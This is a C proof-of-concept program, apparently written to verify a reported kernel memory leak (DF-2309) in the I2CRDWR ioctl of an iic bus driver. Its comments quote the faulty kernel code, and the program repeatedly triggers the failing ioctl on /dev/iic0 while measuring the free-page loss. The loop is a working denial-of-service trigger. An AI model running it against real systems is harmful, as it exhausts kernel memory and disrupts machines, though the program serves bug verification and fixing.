/*
 * usrbufleak.c -- DF-2309 verification: the I2CRDWR ioctl leaks the
 * kernel-side usrbufs array every time the initial copyin() of the msgs
 * array fails, exhausting wired kernel memory (DoS).
 *
 * Target (sys/bus/iicbus/iic.c, iicioctl I2CRDWR):
 *   :351  buf = kmalloc(sizeof(*d->msgs) * d->nmsgs, M_TEMP, M_WAITOK);
 *   :352  usrbufs = kmalloc(sizeof(void *) * d->nmsgs,
 *   :353                     M_TEMP, M_ZERO | M_WAITOK);
 *   :353  error = copyin(d->msgs, buf, sizeof(*d->msgs) * d->nmsgs);
 *   :354  if (error)
 *   :355          break;                       <- jumps to the epilogue
 *   :385  if (buf != NULL)
 *   :386          kfree(buf, M_TEMP);          <- buf freed...
 *                                             <- ...usrbufs NEVER freed
 *
 * Each failing call permanently leaks sizeof(void*)*nmsgs = 8*nmsgs bytes
 * (the buf half of the allocation is freed again, so the NET leak is
 * exactly the usrbufs array).
 *
 * This program repeats the failing ioctl and samples the kernel's free-page
 * counter (sysctl vm.stats.vm.v_free_count) to show the linear, permanent
 * growth; run.sh snapshots `vmstat -m` (malloc type "temp") around it for
 * the allocator-side view.
 *
 * Every iteration must fail with EFAULT (copyin of an unmapped low address);
 * any other result aborts the run.
 *
 * Usage: usrbufleak [nmsgs=100000] [iters=200] [sample_every=25]
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/sysctl.h>

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct iic_msg {
	uint16_t	slave;
	uint16_t	flags;
	uint16_t	len;
	uint8_t		*buf;
};

struct iic_rdwr_data {
	struct iic_msg	*msgs;
	uint32_t	nmsgs;
};

#define I2CRDWR		_IOW('i', 6, struct iic_rdwr_data)
#define PAGE_SIZE	4096LL

static long
free_pages(void)
{
	unsigned long v = 0;
	size_t len = sizeof(v);

	if (sysctlbyname("vm.stats.vm.v_free_count", &v, &len, NULL, 0) != 0)
		err(1, "sysctl vm.stats.vm.v_free_count");
	return ((long)v);
}

int
main(int argc, char **argv)
{
	const char *dev = "/dev/iic0";
	long nmsgs = argc > 1 ? strtol(argv[1], NULL, 0) : 100000;
	long iters = argc > 2 ? strtol(argv[2], NULL, 0) : 200;
	long every = argc > 3 ? strtol(argv[3], NULL, 0) : 25;
	struct iic_rdwr_data d;
	long f0, fprev, f;
	long double expect_mb;
	int fd, i, faults = 0;

	fd = open(dev, O_RDWR);
	if (fd < 0)
		err(1, "open %s", dev);

	printf("DF-2309 usrbufs leak loop: nmsgs=%ld iters=%ld\n",
	    nmsgs, iters);
	printf("per-call leak if real: %ld bytes; total if real: %.1f MB\n",
	    8 * nmsgs, (double)(8.0 * nmsgs * iters) / (1024.0 * 1024.0));

	memset(&d, 0, sizeof(d));
	d.msgs = (struct iic_msg *)(uintptr_t)0x10;	/* unmapped: EFAULT */
	d.nmsgs = (uint32_t)nmsgs;

	f0 = fprev = free_pages();
	printf("start: v_free_count=%ld (%.1f MB free)\n",
	    f0, (double)(f0 * PAGE_SIZE) / (1024.0 * 1024.0));

	for (i = 1; i <= (int)iters; i++) {
		int rc;

		errno = 0;
		rc = ioctl(fd, I2CRDWR, &d);
		if (rc == 0) {
			fprintf(stderr, "iter %d: ioctl SUCCEEDED?!\n", i);
			return (2);
		}
		if (errno != EFAULT) {
			fprintf(stderr, "iter %d: errno=%d (%s), expected "
			    "EFAULT -- aborting\n", i, errno, strerror(errno));
			return (2);
		}
		faults++;

		if (i % (int)every == 0 || i == 1) {
			f = free_pages();
			printf("iter %-5d faults=%d v_free_count=%ld "
			    "(delta_from_start=%+ld pages = %.1f MB consumed)"
			    "\n", i, faults, f, f - f0,
			    (double)((f0 - f) * PAGE_SIZE) / (1024.0*1024.0));
			fflush(stdout);
			fprev = f;
		}
	}

	f = free_pages();
	expect_mb = (long double)(8.0 * (long double)nmsgs *
	    (long double)iters) / (1024.0L * 1024.0L);
	printf("\nend:   v_free_count=%ld  consumed=%ld pages = %.1f MB\n",
	    f, f0 - f, (double)((f0 - f) * PAGE_SIZE) / (1024.0 * 1024.0));
	printf("expected if leak real: %.1f MB; expected if fixed: ~0 MB\n",
	    (double)expect_mb);
	printf("faults=%d/%ld\n", faults, iters);

	close(fd);
	return (0);
}
